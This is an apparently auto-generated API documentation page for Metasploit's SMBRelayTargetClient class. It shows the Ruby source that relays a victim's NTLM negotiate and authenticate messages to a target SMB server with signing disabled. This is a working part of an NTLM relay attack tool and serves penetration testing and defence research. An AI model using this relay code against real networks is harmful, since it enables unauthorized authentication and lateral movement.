Class: Msf::Exploit::Remote::SMB::Relay::NTLM::SMBRelayTargetClient

Inherits:
RubySMB::Client
  • Object
show all
Defined in:
lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb

Overview

The SMB Client for interacting with the relayed_target

Constant Summary collapse

SUPPORTED_CLIENT_DIALECTS =

The supported server dialects. SMB 1 is not supported: github.com/rapid7/metasploit-framework/issues/16261 Note there are similar supported dialects for both the server and the relay clients Msf::Exploit::Remote::SMB::Relay::NTLM::SUPPORTED_SERVER_DIALECTS and SUPPORTED_CLIENT_DIALECTS

[
  RubySMB::Client::SMB2_DIALECT_0202,
  RubySMB::Client::SMB2_DIALECT_0210,
  RubySMB::Client::SMB2_DIALECT_0300,
  RubySMB::Client::SMB2_DIALECT_0302,
]

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(dispatcher, username:, password:, domain: nil, local_workstation: nil, always_encrypt: nil, ntlm_flags: nil, provider: nil, target: nil, logger: nil) ⇒ SMBRelayTargetClient

Returns a new instance of SMBRelayTargetClient.


263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 263

def initialize(dispatcher, username:, password:, domain: nil, local_workstation: nil, always_encrypt: nil, ntlm_flags: nil, provider: nil, target: nil, logger: nil)
  super(dispatcher,
        smb1: false,
        smb2: true,
        smb3: true,
        username: username,
        password: password,
        domain: domain,
        local_workstation: local_workstation,
        always_encrypt: always_encrypt,
        ntlm_flags: ntlm_flags)

  @logger = logger
  @provider = provider
  @target = target
end

Instance Attribute Details

#loggerObject (readonly, protected)

Returns the value of attribute logger.


377
378
379
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 377

def logger
  @logger
end

#targetObject (readonly)

Returns the value of attribute target.


261
262
263
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 261

def target
  @target
end

Instance Method Details

#add_smb3_to_negotiate_request(packet, _dialects = []) ⇒ Object


280
281
282
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 280

def add_smb3_to_negotiate_request(packet, _dialects = [])
  super(packet, SUPPORTED_CLIENT_DIALECTS)
end

#display_target(target) ⇒ Object (protected)


379
380
381
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 379

def display_target(target)
  "#{target.protocol}://#{target.ip}:#{target.port}"
end

#get_peer_server_challenge(client_type1_msg) ⇒ Object


284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 284

def get_peer_server_challenge(client_type1_msg)
  @version = negotiate

  if @version == 'SMB1'
    # TODO: SMB1 not supported
    # neg_pkt = smb1_ntlmssp_negotiate_packet
    # neg_pkt.set_ntlm_type1_blob(victim_type1_msg.serialize)
    # resp = send_recv(neg_pkt)
    #
    # challenge_packet = smb1_ntlmssp_challenge_packet(resp)
    #
    # # Store the available OS information before going forward.
    # @peer_native_os = challenge_packet.data_block.native_os.to_s
    # @peer_native_lm = challenge_packet.data_block.native_lan_man.to_s
    #
    # @user_id = challenge_packet.smb_header.uid
    #
    # type2_message_encoded = smb1_type2_message(challenge_packet)
    #
    # type2_challenge = Net::NTLM::Message.decode64(type2_message_encoded)
    #
    # type2_challenge.challenge
  else
    # Same as the ::RubySMB::Client::Authentication smb2_authenticate method, with two differences
    #  - changes the type1_blob to match the blob of the type1 messages received from the client
    #  - returns the challenge messages received from the server

    server_type1_pkt = smb2_ntlmssp_negotiate_packet

    server_type1_pkt.set_security_buffer(client_type1_msg)
    # server_type1_pkt.buffer = client_type1_msg
    server_type1_pkt.security_mode.signing_enabled = 0
    server_type2_pkt_raw = send_recv(server_type1_pkt)
    server_type2_pkt = smb2_ntlmssp_challenge_packet(server_type2_pkt_raw)

    if @dialect == '0x0311'
      update_preauth_hash(server_type2_pkt)
    end

    @session_id = server_type2_pkt.smb2_header.session_id
    type2_ntlm_message = smb2_type2_message(server_type2_pkt)

    Net::NTLM::Message.decode64(type2_ntlm_message)
  end
rescue ::Exception => e
  msg = "Unable to retrieve server challenge at #{display_target(target)}"
  elog(msg, error: e)
  logger.print_error msg
  nil
end

#normalize_type3_encoding(type3_msg) ⇒ Object


369
370
371
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 369

def normalize_type3_encoding(type3_msg)
  type3_msg.security_buffers.map!{ |_buffer_name, security_buffer| security_buffer.value.force_encoding("ASCII-8BIT") }
end

#send_auth_attempt(victim_type3_message) ⇒ Object


335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 335

def send_auth_attempt(victim_type3_message)
  if @version == 'SMB1'
    # TODO: SMB1 not supported
  else
    packet = RubySMB::SMB2::Packet::SessionSetupRequest.new

    packet.smb2_header.session_id = @session_id
    packet.smb2_header.credits = 127

    packet.security_mode.signing_enabled = 0

    packet.set_security_buffer(victim_type3_message)
    # packet.buffer = victim_type3_message

    response = send_recv(packet)
    if @dialect == '0x0311'
      update_preauth_hash(packet)
    end

    # raw = smb2_ntlmssp_authenticate(victim_type3_message, @session_id)
    response = smb2_ntlmssp_final_packet(response)

    if @smb3 && !@session_encrypt_data && response.session_flags.encrypt_data == 1
      @session_encrypt_data = true
    end

    response
  end
rescue ::Exception => e
  msg = "Unable to authenticate to target #{display_target(target)} via relay"
  elog(msg, error: e)
  logger.error msg
end